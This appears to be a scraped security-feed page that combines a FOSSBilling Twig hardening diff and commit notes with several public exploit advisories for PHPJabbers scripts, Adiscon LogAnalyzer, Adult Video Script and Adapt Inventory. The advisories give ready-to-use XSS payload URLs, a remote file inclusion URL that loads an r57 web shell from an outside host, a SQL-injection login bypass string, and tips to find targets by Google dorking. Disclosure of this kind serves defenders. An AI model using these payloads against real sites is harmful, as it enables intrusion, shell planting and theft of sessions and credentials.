 Code Injection in GitHub repository fossbilling/fossbilling prior to 0.5.1.

Expand Up @@ -35,17 +35,11 @@ public function getDi(): ?\\Pimple\\Container public function getFilters() { return \[ /\*\* \* 'trans' filter rewrite same filter from Symfony\\Bridge\\Twig\\Extension\\TranslationExtension \* for compatible with outdated php-gettext library. \* \* TODO: Use Symfony\\Component\\Translation\\Loader\\MoFileLoader and remove php-gettext hardcoded library. \*/ 'trans' => new TwigFilter('trans', '\_\_trans'),  
'alink' => new TwigFilter('alink', \[$this, 'twig\_bb\_admin\_link\_filter'\], \['is\_safe' => \['html'\]\]),  
'link' => new TwigFilter('link', \[$this, 'twig\_bb\_client\_link\_filter'\], \['is\_safe' => \['html'\]\]), 'autolink' => new TwigFilter('autolink', \[$this, 'twig\_autolink\_filter'\]),  
'gravatar' => new TwigFilter('gravatar', \[$this, 'twig\_gravatar\_filter'\]),  
Expand All @@ -54,7 +48,6 @@ public function getFilters() 'truncate' => new TwigFilter('truncate', \[$this, 'twig\_truncate\_filter'\], \['needs\_environment' => true\]),  
'timeago' => new TwigFilter('timeago', \[$this, 'twig\_timeago\_filter'\]),  
'daysleft' => new TwigFilter('daysleft', \[$this, 'twig\_daysleft\_filter'\]),  
'size' => new TwigFilter('size', \[$this, 'twig\_size\_filter'\]), Expand All @@ -65,27 +58,23 @@ public function getFilters()  
'period\_title' => new TwigFilter('period\_title', \[$this, 'twig\_period\_title'\], \['needs\_environment' => true, 'is\_safe' => \['html'\]\]),  
'autolink' => new TwigFilter('autolink', \[$this, 'twig\_autolink\_filter'\]),  
'img\_tag' => new TwigFilter('img\_tag', \[$this, 'twig\_img\_tag'\], \['needs\_environment' => false, 'is\_safe' => \['html'\]\]),  
'script\_tag' => new TwigFilter('script\_tag', \[$this, 'twig\_script\_tag'\], \['needs\_environment' => false, 'is\_safe' => \['html'\]\]),  
'stylesheet\_tag' => new TwigFilter('stylesheet\_tag', \[$this, 'twig\_stylesheet\_tag'\], \['needs\_environment' => false, 'is\_safe' => \['html'\]\]),  
'mod\_asset\_url' => new TwigFilter('mod\_asset\_url', \[$this, 'twig\_mod\_asset\_url'\]),  
'asset\_url' => new TwigFilter('asset\_url', \[$this, 'twig\_asset\_url'\], \['needs\_environment' => true, 'is\_safe' => \['html'\]\]),  
'library\_url' => new TwigFilter('library\_url', \[$this, 'twig\_library\_url'\], \['is\_safe' => \['html'\]\]),  
'money' => new TwigFilter('money', \[$this, 'twig\_money'\], \['needs\_environment' => true, 'is\_safe' => \['html'\]\]),  
'money\_without\_currency' => new TwigFilter('money\_without\_currency', \[$this, 'twig\_money\_without\_currency'\], \['needs\_environment' => true, 'is\_safe' => \['html'\]\]),  
'money\_convert' => new TwigFilter('money\_convert', \[$this, 'twig\_money\_convert'\], \['needs\_environment' => true, 'is\_safe' => \['html'\]\]),  
'money\_convert\_without\_currency' => new TwigFilter('money\_convert\_without\_currency', \[$this, 'money\_convert\_without\_currency'\], \['needs\_environment' => true, 'is\_safe' => \['html'\]\]),  
// We override these default twig filters so we can explicitly disable it from calling certain functions that may leak data or allow commands to be executed on the system. 'filter' => new TwigFilter('filter', \[$this, 'filteredFilter'\]), 'map' => new TwigFilter('map', \[$this, 'filteredMap'\]), 'reduce' => new TwigFilter('reduce', \[$this, 'filteredReduce'\]), 'sort' => new TwigFilter('sort', \[$this, 'filteredSort'\]), \]; }  
Expand Down Expand Up @@ -318,4 +307,62 @@ public function twig\_truncate\_filter(Twig\\Environment $env, $value, $length = 30  
return $value; }  
public function filteredFilter($array, $arrow) { if (!$arrow instanceof Closure) { return; }  
return array\_filter($array, $arrow, \\ARRAY\_FILTER\_USE\_BOTH); }  
public function filteredMap($array, $arrow) { if (!$arrow instanceof Closure) { return; }  
$r = \[\]; foreach ($array as $k => $v) { $r\[$k\] = $arrow($v, $k); }  
return $r; }  
public function filteredReduce($array, $arrow, $initial = null) { if (!$arrow instanceof Closure) { return; }  
$accumulator = $initial; foreach ($array as $key => $value) { $accumulator = $arrow($accumulator, $value, $key); }  
return $accumulator; }  
public function filteredSort($array, $arrow) { if (!$arrow instanceof Closure) { return; }  
if ($array instanceof \\Traversable) { $array = iterator\_to\_array($array); } elseif (!\\is\_array($array)) { return $array; }  
if (null !== $arrow) { uasort($array, $arrow); } else { asort($array); }  
return $array; } }

CVE-2023-3393: Prevent twig from calling unsafe functions (#1337) · FOSSBilling/FOSSBilling@47343fb

Session Fixation in GitHub repository fossbilling/fossbilling prior to 0.5.1.

**Commit**

Permalink

Browse files

Browse the repository at this point in the history

Replace Box\_Session and improve session handling (#1332)

\* Replace Box\_Session and improve session handling

\* Improve weights, capitalize class name correctly

\* Make the tests pass, update the SQL structure

\* Tweak to the fingerprint class, fix more tests

\* Regenerate session IDs when logging in

\* Improve readability

\* Update ServiceTest.php

\* Tweak weights and added Huntr badge to the readme

\* Improve readability, add PHPDocs, and updated weight

\* Update SECURITY.md

*   Loading branch information

CVE-2023-3394: Replace Box_Session and improve session handling (#1332) · FOSSBilling/FOSSBilling@b9c35a1

A vulnerability was found in SourceCodester Human Resource Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file detailview.php. The manipulation of the argument employeeid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-232288.

CVE-2023-3391

PHPJabbers Forum Script version 3.0 suffers from a persistent cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://www.phpjabbers.com/php-forum-script/                               ││  Vendor   : PHPJabbers                                                                 ││  Software : PHPJabbers Forum Script 3.0                                                ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS-----------------------------------------------POST /1687474733_118/preview.php?controller=pjLoad&action=pjActionAsk HTTP/1.1ask_question=1&name=[XSS Payload]&email=cracker@infosec.com&question=[XSS Payload]&description=[XSS Payload]&category_id=3-----------------------------------------------POST parameter 'name' is vulnerable to XSSPOST parameter 'question' is vulnerable to XSSPOST parameter 'description' is vulnerable to XSS## Steps to Reproduce:1. Click on [+ New Question](as Guest)2. Inject your [XSS Payload] in "Full name"3. Inject your [XSS Payload] in "Question"4. Inject your [XSS Payload] in "Description"5. Select any [Category]6. Save (=Submit)5. When ADMIN Visit the [Questions] to Check [New Questions] on this Path (https://website/index.php?controller=pjAdminQuestions&action=pjActionIndex) in administration Panel6. XSS will Fire & Executed on his Browser7. Anyone visit your [Question Post] XSS will Fire & Executed on his Browser[-] Done

PHPJabbers Forum Script 3.0 Persistent Cross Site Scripting

PHPJabbers Forum Script version 3.0 suffers from a cross site scripting vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                  [ Vulnerability ]                                   ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : https://www.phpjabbers.com/php-forum-script/                               │  
│  Vendor   : PHPJabbers                                                                 │  
│  Software : PHPJabbers Forum Script 3.0                                                │  
│  Vuln Type: Reflected XSS                                                              │  
│  Impact   : Manipulate the content of the site                                         │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                                                                                       ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│  Release Notes:                                                                        │  
│  ═════════════                                                                         │  
│  The attacker can send to victim a link containing a malicious URL in an email or      │  
│  instant message can perform a wide variety of actions, such as stealing the victim's  │  
│  session token or login credentials                                                    │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  

         CryptoJob (Twitter) twitter.com/0x0CryptoJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2023                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /preview.php

URL parameter is vulnerable to RXSS

https://website/preview.php/xmbfr"><script>alert(1)</script>bqptl?controller=pjLoad&action=pjActionIndex&category_id=1

Path: /preview.php

GET parameter 'action' is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndexje35u%3cimg%20src%3da%20onerror%3dalert(1)%3eo5ycr&category_id=1

Path: /preview.php

GET parameter 'column' is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created%00undzx%3cscript%3ealert(1)%3c%2fscript%3eqqfc9&direction=DESC&keyword=

Path: /preview.php

GET parameter 'direction' is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESCm1al6%22%3e%3cscript%3ealert(1)%3c%2fscript%3evwg49&keyword=

Path: /preview.php

GET parameter 'keyword' is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=v467i%22%3e%3cscript%3ealert(1)%3c%2fscript%3ek9pxe

[-] Done

PHPJabbers Forum Script 3.0 Cross Site Scripting

PHPJabbers STIVA Blog Script version 4.1 suffers from a cross site scripting vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                  [ Vulnerability ]                                   ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : https://www.phpjabbers.com/stiva-blog-script/                              │  
│  Vendor   : PHPJabbers                                                                 │  
│  Software : PHPJabbers STIVA Blog Script 4.1                                           │  
│  Vuln Type: Reflected XSS                                                              │  
│  Impact   : Manipulate the content of the site                                         │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                                                                                       ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│  Release Notes:                                                                        │  
│  ═════════════                                                                         │  
│  The attacker can send to victim a link containing a malicious URL in an email or      │  
│  instant message can perform a wide variety of actions, such as stealing the victim's  │  
│  session token or login credentials                                                    │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  

         CryptoJob (Twitter) twitter.com/0x0CryptoJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2023                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /preview.php

GET 'category_id' parameter is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndex&category_id=5qn281%22%3e%3cscript%3ealert(1)%3c%2fscript%3enjmk9

GET 'lid' parameter is vulnerable to RXSS

https://website/preview.php?lid=umxpr"><script>alert(1)</script>dbyiw&pjPage=2

GET 'archive' parameter is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndex&dosearch=1&category_id=&archive=b5bzk%22%3e%3cscript%3ealert(1)%3c%2fscript%3em9gtp&keyword=123

GET 'keyword' parameter is vulnerable to RXSS

https://website/preview.php?controller=pjLoad&action=pjActionIndex&dosearch=1&category_id=&archive=&keyword=123fcgbt%22%3e%3cscript%3ealert(1)%3c%2fscript%3eya0py

URL parameter is vulnerable to RXSS

https://website/preview.php/f76te"><script>alert(1)</script>cq8x2?controller=pjLoad&action=pjActionIndex&category_id=5

[-] Done

PHPJabbers STIVA Blog Script 4.1 Cross Site Scripting

Adult Video Script version 3.0 suffers from local and remote file inclusion vulnerabilities.

    ====================================================================================================================================| # Title     : Adult Video Script 3.0 RFI /LFI Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Download  : https://update.avscms.com/files/avscms-8.2-full.zip                                                                || # Dork      :  Powered by AVSCMS                                                                                                 |====================================================================================================================================P0C :[+] Dorking İn Google Or Other Search Enggine.[+] R/L File Inclusion :    Line      : 20 = include_once ('./lang/'.$lang_include);    Function  : include_once    Variables :$lang_include    C:\web\www\upload\siteadmin\editor_files\image.php[+] http://127.0.0.1/www/lustubecom/siteadmin/editor_files/image.php?lang_include=http://www.dcvi.net/r57.txt?Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |        =======================================================================================================================================

Adult Video Script 3.0 File Inclusion

Adiscon LogAnalyzer version 4.1.5 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Adiscon LogAnalyzer V 4.1.5 Xss Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Telegram  : @indoushka                                                                                                         || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : http://loganalyzer.adiscon.com/                                                                                    |  | # Dork      : "Adiscon LogAnalyzer Version 4.1.5"                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : /login.php?referer=/userchange.php%3Fop%3Dchangeview%22%3E%3Cscript%3Eprompt(/indoushka/)%3C/script%3E%26viewid%3DSYSLOG[+] http://127.0.0.1/rsyslog.infogeniecm/login.php?referer=/userchange.php%3Fop%3Dchangeview%22%3E%3Cscript%3Eprompt(/indoushka/)%3C/script%3E%26viewid%3DSYSLOGGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Adiscon LogAnalyzer 4.1.5 Cross Site Scripting

PHPJabbers Knowledge Base Builder version 3.0 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://www.phpjabbers.com/knowledge-base-builder/                         ││  Vendor   : PHPJabbers                                                                 ││  Software : PHPJabbers Knowledge Base Builder 3.0                                      ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpGET parameter 'action' is vulnerable to RXSShttps://website/preview.php?controller=pjLoad&action=pjActionIndexd6941%3cimg%20src%3da%20onerror%3dalert(1)%3edas75&pjPage=2[-] Done

PHPJabbers Knowledge Base Builder 3.0 Cross Site Scripting

Adapt Inventory Management System version 1.0.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Adapt Inventory Management System 1.0.0 Auth By Pass Vulnerability                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/adapt-inventory-management-system/22838514?s_rank=7                                    |  | # Dork      :                                                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload user & Pass : 1' or 1=1 -- -[+]  https://127.0.0.1/www/adaptinventory.com/demo/index.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Tag

#php